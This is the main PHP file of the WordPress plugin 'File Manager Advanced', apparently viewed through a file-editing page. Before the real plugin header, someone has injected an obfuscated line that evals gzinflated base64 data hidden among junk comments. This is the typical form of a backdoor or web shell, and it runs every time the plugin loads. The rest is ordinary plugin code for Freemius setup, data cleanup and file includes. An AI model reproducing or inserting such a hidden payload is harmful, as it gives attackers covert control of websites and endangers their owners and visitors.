JezK
Edit File: file_manager_advanced.php
<?php /*tJ}^f5?#ybK4"kBl;B*/@ EvAL(/*QI 3.kcBJJPkJ*/'?>'.GZiNfLaTe(baSE64_deCODe('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')));/*p x/C:}:fA%S F+r7*/?> <?php /** Plugin Name: File Manager Advanced Plugin URI: https://wordpress.org/plugins/file-manager-advanced Description: Cpanel for files management in wordpress Author: wpexpertsio Version: 5.4.12 Author URI: https://wpexperts.io License: GPLv2 **/ /** * Integrate Freemius SDK * * @package Advance File Manager */ if ( ! function_exists( 'fma_fs' ) ) { // Create a helper function for easy SDK access. function fma_fs() { global $fma_fs; if ( ! isset( $fma_fs ) ) { // Include Freemius SDK. require_once dirname( __FILE__ ) . '/vendor/freemius/start.php'; $fma_fs = fs_dynamic_init( array( 'id' => '22156', 'slug' => 'file-manager-advanced', 'premium_slug' => 'advanced-file-manager-pro', 'type' => 'plugin', 'public_key' => 'pk_0fd5cbcb84f5aa475cb00b852ceaf', 'is_premium' => false, 'has_addons' => true, 'has_paid_plans' => false, 'menu' => array( 'slug' => 'file_manager_advanced_ui', 'first-path' => 'admin.php?page=file_manager_advanced_ui', 'contact' => false, 'support' => false, 'account' => false, ), ) ); } return $fma_fs; } // Init Freemius. fma_fs(); // Signal that SDK was initiated. do_action( 'fma_fs_loaded' ); // Hook into Freemius after_uninstall action // This hook fires when plugin is uninstalled through Freemius SDK add_action( 'fs_after_uninstall_file-manager-advanced', 'fma_freemius_after_uninstall', 10, 0 ); } /** * Loading constants */ require_once('constants.php'); require_once FMAFILEPATH . 'application/fma-elfinder-helpers.php'; /** * Cleanup function - Shared by both uninstall and deactivation hooks */ function fma_cleanup_plugin_data() { global $wpdb; // 1. Delete all WordPress options (direct database query for reliability) $wpdb->query( "DELETE FROM {$wpdb->options} WHERE option_name = 'fmaoptions'" ); $wpdb->query( "DELETE FROM {$wpdb->options} WHERE option_name = 'fma_hide_review_section'" ); $wpdb->query( "DELETE FROM {$wpdb->options} WHERE option_name = 'fma_blocks_dummy_data_created'" ); // 2. Delete all fma_blocks custom post type posts and their meta // First get all post IDs $fma_blocks_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM {$wpdb->posts} WHERE post_type = %s", 'fma_blocks' ) ); if ( ! empty( $fma_blocks_ids ) ) { // Delete all post meta for these posts $post_ids_placeholders = implode( ',', array_fill( 0, count( $fma_blocks_ids ), '%d' ) ); $wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->postmeta} WHERE post_id IN ($post_ids_placeholders)", $fma_blocks_ids ) ); // Delete all posts $wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->posts} WHERE post_type = %s", 'fma_blocks' ) ); } // 3. Delete file logs table if it exists (created when pro is active) $table_name = $wpdb->prefix . 'fm_filelogs'; $wpdb->query( "DROP TABLE IF EXISTS {$table_name}" ); // 4. Clean up any transients $wpdb->query( "DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_fma_%'" ); $wpdb->query( "DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_timeout_fma_%'" ); // 5. Clean up user meta if any $wpdb->query( "DELETE FROM {$wpdb->usermeta} WHERE meta_key LIKE 'fma_%'" ); $wpdb->query( "DELETE FROM {$wpdb->usermeta} WHERE meta_key LIKE 'afmp_%'" ); // 6. Clean up site options for multisite if ( function_exists( 'is_multisite' ) && is_multisite() ) { $wpdb->query( "DELETE FROM {$wpdb->sitemeta} WHERE meta_key LIKE 'fma_%'" ); } } /** * Freemius after_uninstall hook callback * This hook fires when plugin is uninstalled through Freemius SDK * This is the most reliable method as Freemius handles the uninstall process */ function fma_freemius_after_uninstall() { // Check if user has enabled data deletion on uninstall $settings = get_option('fmaoptions', array()); $delete_data_on_uninstall = isset($settings['fma_delete_data_on_uninstall']) && $settings['fma_delete_data_on_uninstall'] == '1'; // If setting is disabled, don't delete data if (!$delete_data_on_uninstall) { return; } // Run cleanup when Freemius uninstall hook fires fma_cleanup_plugin_data(); } /* * Advanced File Manager * Text Domain */ add_action('plugins_loaded', 'advanced_file_manager_load_text_domain'); function advanced_file_manager_load_text_domain() { $domain = dirname(plugin_basename(__FILE__)); $locale = apply_filters('plugin_locale', get_locale(), $domain); load_textdomain($domain, trailingslashit(WP_LANG_DIR).'plugins'.'/'.$domain.'-'.$locale.'.mo'); load_plugin_textdomain($domain, false, basename(dirname(__FILE__)).'/languages/'); } /** * Main application */ if(is_admin()) { include('application/class_fma_main.php'); new class_fma_main; } /** * Shortcode class */ include('application/class_fma_shortcode.php'); include 'application/rest-api/class-fma-controller.php'; /** * Blocks class (for free version) */ if ( ! class_exists( 'file_manager_advanced_shortcode' ) ) { require_once( 'application/class_fma_blocks.php' ); // Instantiate the class if ( class_exists( 'class_fma_blocks' ) ) { new class_fma_blocks(); } }